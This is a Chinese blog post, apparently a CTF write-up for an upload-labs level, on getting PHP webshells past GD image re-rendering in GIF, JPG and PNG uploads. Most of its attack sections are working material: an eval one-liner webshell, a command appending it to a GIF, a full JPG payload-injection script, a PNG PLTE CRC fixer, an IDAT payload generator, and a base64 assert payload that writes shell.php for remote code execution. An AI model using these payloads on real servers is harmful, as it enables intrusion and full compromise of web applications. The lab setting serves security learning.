文件上传漏洞之二次渲染绕过


一、什么是二次渲染

在文件上传漏洞领域,二次渲染是指服务器在文件上传后,对文件内容进行再次处理或修改的过程。这种处理通常用于优化文件大小、格式化文件内容或进行安全检查。

在PHP中二次渲染所涉及的函数包括imagecreatefromjpeg,imagecreatefromgif和imagecreatefrompng,用于从不同格式的图像文件创建图像资源的函数,它们的原理和工作方式基于 PHP 的 GD 库。

这些函数的核心功能是将图像文件加载到内存中,并将其转换为一个图像资源(resource),以便后续进行图像处理操作。它们的工作流程如下:

  • 文件读取:函数首先打开指定的图像文件或 URL,读取文件的内容。
  • 格式解析:根据文件的格式(JPEG、GIF 或 PNG),函数解析文件的结构和数据。例如,JPEG 文件使用 DCT(离散余弦变换)进行压缩,而 PNG 文件使用无损压缩算法。
  • 创建图像资源:解析完成后,函数将图像数据存储在内存中,并返回一个图像资源标识符。这个标识符是一个指向内存中图像数据的指针,后续的图像处理函数(如 imagejpegimagepng 等)可以使用这个标识符来操作图像。

imagecreatefromjpegimagecreatefromgifimagecreatefrompng 这些函数在加载图像文件时,会对图像文件的内容进行解析和检查,以确保文件是一个有效的图像文件,并提取必要的信息以便后续操作。以下是它们会检查和处理的具体内容:

  1. 文件格式验证

这些函数会检查文件的头部信息,以确认文件是否符合相应的图像格式规范(如 JPEG、GIF 或 PNG)。具体包括:

  • 文件签名(Magic Number):每个图像格式都有特定的文件签名。例如:
    • JPEG 文件通常以 0xFFD8 开始。
    • GIF 文件以 GIF87aGIF89a 开始。
    • PNG 文件以 0x89PNG\r\n\x1a\n 开始。
  • 格式版本:检查文件是否符合特定版本的图像格式规范。
  1. 图像元数据

这些函数会解析图像文件中的元数据,提取以下信息:

  • 图像尺寸:宽度和高度(以像素为单位)。
  • 颜色信息:颜色类型(如 RGB、灰度)、颜色深度(如 8 位、16 位)、颜色索引表(对于调色板图像)。
  • 压缩方式:JPEG 的压缩质量、PNG 的无损压缩算法等。
  • 其他元数据:例如 EXIF 信息(对于 JPEG 文件,可能包含拍摄时间、相机型号等)、PNG 的文本块等。
  1. 图像数据

这些函数会解析图像文件中的实际图像数据,提取像素信息:

  • JPEG:解码 DCT(离散余弦变换)数据,恢复像素信息。
  • GIF:解析调色板和像素索引,支持动画帧(如果存在)。
  • PNG:解码无损压缩数据,支持透明度(alpha 通道)。
  1. 错误处理

如果文件格式不正确或文件损坏,这些函数会返回 FALSE,并可能触发错误或警告。例如:

  • 文件签名不匹配。
  • 文件损坏或缺失必要的数据块。
  • 图像尺寸或颜色信息无效。
  1. 内存分配

这些函数会根据图像的尺寸和颜色信息,为图像数据分配内存。例如:

  • 创建一个足够大的内存缓冲区来存储解码后的像素数据。
  • 初始化图像资源对象,存储图像的元数据和像素数据。

二、getshell 思路

2.1 配合文件包含漏洞

将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。

2.2 可以配合条件竞争

先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传。

下面的内容以buuoj上upload-labs-linux Pass-16为例子,具体见本站《web-buuoj-(Upload-Labs-Linux)-文件上传》一文。

三、绕过二次渲染并包含gif图片木马

3.1 制作原始的图片木马

  • 准备一个gif图像
  • 测试能否正常上传

可以成功上传。

  • 准备一个一句话木马:yjh.php
<?php @eval($_POST['sxk'])?>
  • 在windows中制作木马
copy hacker-hacking.gif /b + yjh.php /a muma.gif
  • 010editor查看是否添加成功

可以看到尾部追加了一句话木马。

3.2 判断图片是否进行了二次处理?

对比原始图片与上传后的图片大小,或编辑器打开图片查看上传后保留了哪些数据。

先上传muma.gif并访问。

另存为muma_processed.gif

可以看到结尾处的木马代码已经没了,显然是经过了加工。

使用010editor比较两个文件的差异:

可以看到文件是经过二次处理的,很多地方都不相同,但也存在一些相同的内容。

3.3 在不变的数据块中插入一句话木马

在compare面板中尽量找地址相同且大小(size)相同的块,如下图所示:

我们就可以在没有改变的地方,也就是蓝色部分,插入我们的恶意代码,如下图所示:

可以在这个相同数据的区域内,直接编辑右侧的ascii字符,会覆盖填充。

另存为muma_php_sxk.gif,重新上传这个文件:

访问上传成功的文件并另存为muma_php_sxk_processed.gif

可以看到一句话木马还在,说明我们的木马成功绕过了二次渲染的破坏。接下来就可以尝试getshell了。

3.4 getshell

访问上传的muma_php_sxk.gif文件。

访问有文件包含漏洞的页面。

文件包含漏洞

包含木马文件,然后使用蚁剑getshell。

成功getshell

成功getshell获取到flag。

flag:

四、绕过二次渲染并包含jpg图片木马(未成功)

4.1 木马生成脚本

创建一个php脚本用来制作图片木马,我这里叫generate_jpg_muma.php

<?
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

注:由于jpg图片易损,对图片的选取要求很高,很容易制作失败,需要多选取几张图片进行生成。

payload在25行的位置,可以更改为yjh木马:

4.2 制作木马

  • 准备一个能上传成功的正常的jpg图片
duigou

经过测试发现能上传成功:

  • 生成图片木马

使用上面创建的脚本生成一个图片马:

php generate_jpg_muma.php duigou.jpg

生成了名称为payload_duigou.jpg的图片木马,并且用010editor可以看到包含有<?phpinfo()?>的代码。

4.3 上传图片木马

但是文件上传失败了。说明图片结构被破坏了。

需要更换图片再尝试一下。

5.5 更换图片

重复上述操作制作如下图片木马(图片可以显示):

payload_smile

上传:

但是还是上传失败。

失败

后续选择了约20张照片,要么是结构被破坏无法上传,要么就是上传之后经过二次渲染之后木马失效。

而且用传统的对比差异然后插入木马的方法不奏效,因为经过二次渲染之后不变的地方很少。

最终也没能完成jpg二次渲染的绕过,制作可用木马的难度有点高。

五、绕过二次渲染并包含png图片木马

5.1 png图片结构概述

5.1.1 文件头

  • 8字节:标识PNG文件,固定为\x89PNG\r\n\x1a\n

5.1.2 数据块(Chunks)

PNG文件由多个数据块组成,数据块有以下类型:

1)关键数据块

  • IHDR(图像头):包含宽度、高度、颜色类型等基本信息。
  • PLTE(调色板):定义索引颜色图像中的颜色。
  • IDAT(图像数据):存储实际的图像数据,可能分多个块。
  • IEND(图像结束):标识图像数据结束。标识PNG文件结束,无数据字段,CRC固定为AE 42 60 82

2)辅助数据块

  • tEXt(文本信息):存储文本数据,如作者、描述等。
  • iTXt(国际化文本):支持Unicode的文本信息。
  • zTXt(压缩文本):压缩存储的文本信息。
  • bKGD(背景颜色):定义默认背景色。
  • pHYs(物理尺寸):指定像素的物理尺寸。
  • tIME(最后修改时间):记录最后修改时间。

5.1.3 数据块结构

每个数据块包含以下字段:

  • Length(4字节):数据字段的长度。
  • Chunk Type(4字节):标识块类型,如IHDR、IDAT等。
  • Chunk Data(可变长度):实际数据。
  • CRC(4字节):循环冗余校验,确保数据完整性。
字段名 大小(单位字节) 描述
Length(长度) 4 指定数据块中的数据长度
Chunk Type Code(数据块类型码) 4 数据块类型、例如:IHDR、PLTE、IDAT等
Chunk Data(数据块数据) Length 存储的实际数据
CRC(循环冗余校验码) 4 循环冗余校验码

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

示例结构

文件头 (8字节)
IHDR块 (25字节)
PLTE块 (可选)
IDAT块 (一个或多个)
IEND块 (12字节)

5.2 分析数据块

5.3.1 IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块

文件头数据块由13字节组成,它的格式如下表所示:

5.3.2 PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

PLTE数据块的结构

  1. Length(4字节):指示数据字段的长度。
  2. Chunk Type(4字节):标识块类型,固定为PLTE
  3. Chunk Data(可变长度):存储调色板数据,每个颜色由3字节(RGB)表示。
  4. CRC(4字节):校验值,用于验证数据块的完整性。

CRC校验值的位置

  • CRC校验值紧跟在Chunk Data之后,是PLTE数据块的最后4字节。
  • CRC的计算范围包括Chunk Type(PLTE)**和**Chunk Data**,但不包括Length**字段。

5.3.3 IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IDAT数据块结构

5.3.4 IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:
  00 00 00 00 49 45 4E 44 AE 42 60 82

5.3 在PNG图片中写入php代码的几种方式

5.3.1 在PLTE数据块写入php代码

php底层在对PLTE数据块验证的时候,主要进行了CRC校验。所以可以在chunk data域插入php代码,然后重新计算相应的crc值并修改即可。
  这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别03为索引彩色图像。

  • 查看png图片IHDR数据块color type是否为03,下图可以看出26.pngcolor type索引为03,是索引彩色图像:
smile

可以看到color type的值为3.

  • 在PLTE数据块写入php代码,并保存:

smile_PLTE_php_yjh_sxk.png

插入木马前:

插入木马前

插入木马后:

  • 在和上述png文件的同一个目录下创建一个cal_CRC.py的脚本文件:
import binascii
import re
 
png = open(r'smile_PLTE_php_yjh_sxk.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
 
''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
  • 计算PLTE数据块CRC
python2 cal_CRC.py
0x3bce23ce

可以得出PLTE数据块CRC的值为:3bce23ce

  • 修改PLTE数据块CRC值

注:可以先搜索tRNS,因为PLTE数据块CRC的值的属性就在tRNS块的前面:

但是:

  • 如果PNG文件包含PLTE块和tRNS块,则tRNS块必须位于PLTE块之后
  • PLTE块的CRC值位于PLTE块的末尾,与tRNS块的位置无关。
原始CRC校验码

如图所示的位置就是PLTE数据块的CRC校验码。

修改之后如上图所示。

  • 保存上传
  • 另存一下

可以看到木马经过目标网站的二次渲染之后仍然存在。

  • getshell

BingGO!成功getshell!

5.3.2 使用php脚本写入IDAT数据块

  • php木马生成脚本

创建一个IDAT_png.php,通过这个脚本可以生成一个绕过渲染的图片马:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
  • 生成木马

不需要指定原始图片,会自动生成一个简单的png木马图片。

php IDAT_png.php
1

生成1.png

  • 上传

成功上传。

  • 另存

可以看到木马仍然存在。

<?=$_GET[0]($_POST[1]);?>
  • getshell

但是<?=$_GET[0]($_POST[1]);?>木马并不好利用,传递参数不方便:

可以基于可变变量写入一个方便蚁剑连接的一句话木马:

0=assert 
//`assert` 是PHP中的一个函数,用于执行字符串形式的PHP代码。

1=${fputs(fopen(base64_decode(‘c2hlbGwucGhw’),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOyA/Pg=='))};
/*
- 这是一个动态生成的代码片段,用于创建并写入一个PHP文件。

- `base64_decode('c2hlbGwucGhw')`:解码后得到字符串 `shell.php`,这是要创建的文件名。
- `fopen('shell.php', 'w')`:以写入模式打开(或创建)文件 `shell.php`。
- `base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOyA/Pg==')`:解码后得到字符串 `<?php @eval($_POST['c']); ?>`,这是要写入文件的内容。
  - `<?php @eval($_POST['c']); ?>` 是一个Web Shell代码,允许攻击者通过POST参数 `c` 执行任意PHP代码。
- `fputs()`:将解码后的Web Shell代码写入 `shell.php` 文件。
*/

传递参数写入shell:

虽然提示错误,但是成功写入了shell.php:

虽然提示错误,但是陈工写入了shell.php

蚁剑getshell:

成功getshell

BingGo!成功getsell!

End

参考

https://blog.csdn.net/weixin_45588247/article/details/119177948


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录